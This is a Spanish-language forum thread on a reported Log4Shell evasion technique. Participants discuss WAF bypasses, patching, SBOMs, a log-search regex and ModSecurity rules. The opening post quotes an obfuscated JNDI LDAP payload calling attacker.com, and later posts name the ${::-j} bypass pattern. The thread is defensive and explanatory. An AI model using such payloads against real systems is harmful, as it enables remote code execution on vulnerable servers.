¿Alguien más vio el reporte de Log4Shell 2.0? Parece que hay una nueva variante explotable en la naturaleza

Retro

Acabo de leer un informe de GreyNoise donde muestran que están detectando intentos de explotación contra lo que llaman una nueva variante de Log4Shell (CVE-2021-44228). Según ellos, no es el mismo vector de ataque clásico, sino que estarían aprovechando configuraciones específicas de lookup JNDI en versiones que se creían parcheadas parcialmente.

Lo preocupante es que mencionan que algunos parches aplicados de forma "custom" o soluciones de WAF que solo bloqueaban ciertos patrones de strings están siendo evadidos. ¿Alguien tiene más detalles técnicos? ¿Es solo ruido o realmente hay que revisar de nuevo todos los entornos?

Acá dejo un snippet de lo que, según el reporte, estarían usando para la evasión (no lo prueben en producción, obvio):

${${env:TEST:-j}ndi:${env:TEST:-l}dap://attacker.com/a}

Typography

Lo vi. No es una vulnerabilidad nueva per se, sino una técnica de evasión para el Log4Shell original. El parche oficial de Apache arregló el core, pero si alguien aplicó un parche casero que solo buscaba el string ${jndi:ldap://, esta variante con variables de entorno lo evade. El verdadero problema son las implementaciones flojas.

Lo que me preocupa más es que en el mismo informe mencionan que están viendo ataques contra dispositivos IoT con versiones de Log4j embebidas que nunca se parchearon. Es el infierno de 2021 de nuevo.

Cooking

Discrepo un poco con la alarma. Esto es más bien "security theater". GreyNoise vende detección de amenazas, claro que van a sonar las campanas. Si aplicaste el parche oficial de Apache (versión 2.17.0 o superior para la rama 2.x) o removiste la clase JndiLookup, estás cubierto. El vector que muestran solo funciona si el parche fue insuficiente.

El código que compartes es interesante, pero solo demuestra la necesidad de parchear correctamente, no la existencia de un CVE nuevo. La recomendación sigue siendo la misma: actualizar, eliminar la clase ofensiva y usar herramientas como log4j-detector para escanear.

Retro

Tienes razón en que el parche oficial debería cubrir esto. Pero justo ese es mi punto: ¿cuántos no aplicaron el parche oficial? En empresas grandes con miles de artefactos, muchos equipos aplicaron 'quick fixes' a nivel de red o WAF y dejaron la vulnerabilidad latente. Este nuevo movimiento en la naturaleza indica que los atacantes lo saben y están probando estas evasiones de forma masiva.

No es un CVE nuevo, sí, pero es una explotación nueva de un problema viejo que muchos creían mitigado. Eso merece un nuevo aviso, al menos para los equipos de SOC.

Embroidery

Aquí un aporte técnico. Para los que tengan que revisar logs masivos buscando estos intentos evasivos, una regex un poco más amplia (aunque puede dar falsos positivos) podría ser:

${[^}]*j[^}]*ndi[^}]*:[^}]*//

Pero ojo, la verdadera solución no es detectar, sino erradicar. Si aún tienes Log4j vulnerable en 2024, el problema no es la variante, es la gestión de parches. Por cierto, si usas Java 8u191 o superior, el com.sun.jndi.ldap.object.trustURLCodebase por defecto es false, lo que mitiga mucho el impacto incluso si la vulnerabilidad está presente.

Indie

Esto me recuerda a la importancia de tener un SBOM (Software Bill of Materials) actualizado. Si no sabes dónde tienes Log4j, nunca vas a poder parchearlo bien. Herramientas como DependencyTrack o el plugin de OWASP para Maven/Gradle son vitales. La noticia es útil como recordatorio para aquellos que aún no han hecho este inventario de componentes.

Más allá del debate, gracias por compartir el informe. Voy a revisar nuestros logs de los últimos 3 días a ver si vemos intentos con este patrón evasivo.

Retro

Exacto, el SBOM es clave. Y coincido con el aporte de la regex, es útil para una búsqueda reactiva en logs históricos. Al final, el mensaje que me llevo es: "Log4Shell no ha muerto, solo evolucionó su explotación". Para los que manejamos infraestructura crítica, es un buen momento para hacer un nuevo barrido, no asumir que porque se parcheó en 2021 ya está todo bien.

Gracias a todos por el debate técnico, sin alarmismos pero con datos concretos. Eso es lo valioso de este foro.

Cocktails

La discusión sobre SBOM y detección reactiva es sólida, pero me preocupa que se esté pasando por alto un punto crítico: muchas organizaciones aún dependen de aplicaciones heredadas o de terceros donde el parcheo no es trivial. En esos casos, mitigaciones como restringir salidas de red desde los servidores Java o usar WAF con reglas específicas para JNDI pueden ser parches temporales necesarios mientras se migra. La regex compartida es útil, pero añadiría un filtro por tráfico LDAP saliente no autorizado en los firewalls, ya que eso corta el vector de ataque incluso si el payload evade la detección en logs. ¿Alguien ha probado herramientas como log4j-detector de LunaSec para escaneos automatizados en entornos heterogéneos? Podría complementar el SBOM con una verificación más agresiva.

Crochet

El punto sobre aplicaciones heredadas es crucial. En esos escenarios, las mitigaciones de red que mencionas son esenciales, pero añadiría que configurar el entorno Java con -Dlog4j2.formatMsgNoLookups=true o actualizar a Log4j 2.17.0+ sigue siendo prioritario, incluso si requiere esfuerzo de migración. Respecto a log4j-detector de LunaSec, lo he usado en auditorías y es efectivo para escaneos rápidos, pero tiende a dar falsos positivos en builds personalizados; combinarlo con un SBOM como DependencyTrack reduce ese ruido. ¿Has evaluado si las reglas de WAF actuales capturan las variantes de JNDI con codificación ofuscada que se reportan en este nuevo informe?

Puzzles

Totalmente de acuerdo con la necesidad de mitigaciones de red y priorizar actualizaciones Java, incluso en sistemas heredados. Sobre log4j-detector, confirmo los falsos positivos; en mi experiencia, integrarlo con herramientas como DependencyTrack o OWASP Dependency-Check mejora la precisión, pero requiere ajustar thresholds para builds personalizados. Respecto a las reglas de WAF, muchas soluciones comerciales han actualizado sus firmas para capturar codificaciones ofuscadas de JNDI (por ejemplo, usando bypasses con ${::-j}), pero recomiendo probar con payloads del informe reciente, como variantes que evaden detección basada en strings simples. ¿Alguien tiene datos sobre la efectividad de modsecurity con reglas personalizadas para esto?

Mixology

En cuanto a ModSecurity con reglas personalizadas para variantes ofuscadas de JNDI, he probado algunas configuraciones basadas en expresiones regulares que buscan patrones como ${::-j} o codificaciones URL. Funcionan bien en entornos controlados, pero pueden afectar el rendimiento si se aplican de forma amplia. Para mejorar la efectividad, sugiero combinar estas reglas con inspección de tráfico LDAP saliente, como mencionaron antes, ya que eso captura el ataque incluso si el payload evade la detección inicial. ¿Has considerado usar herramientas como OWASP CRS con ajustes específicos para Log4Shell, o prefieres desarrollar reglas desde cero para mayor control?

Watercolor

En mi experiencia con ModSecurity, las reglas personalizadas para variantes ofuscadas de JNDI, como las que mencionas con patrones como ${::-j}, son efectivas pero requieren ajustes finos para evitar falsos positivos y minimizar el impacto en rendimiento. He usado OWASP CRS con ajustes específicos para Log4Shell, como añadir reglas en el archivo REQUEST-944-APPLICATION-ATTACK-JAVA.conf, pero a veces desarrollo reglas desde cero para entornos críticos donde necesito mayor control sobre la lógica de detección, especialmente para payloads que usan codificaciones múltiples o bypasses más complejos. ¿Has probado integrar estas reglas con herramientas de monitoreo de red para correlar alertas de WAF con intentos de conexión LDAP saliente, o prefieres mantener capas de defensa separadas para simplificar la respuesta a incidentes?